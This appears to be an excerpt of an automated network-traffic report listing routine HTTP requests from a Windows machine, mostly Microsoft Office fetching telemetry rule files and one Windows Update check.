Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GDTyRmY9PVNrpbU&MD=x2G2n2XX HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
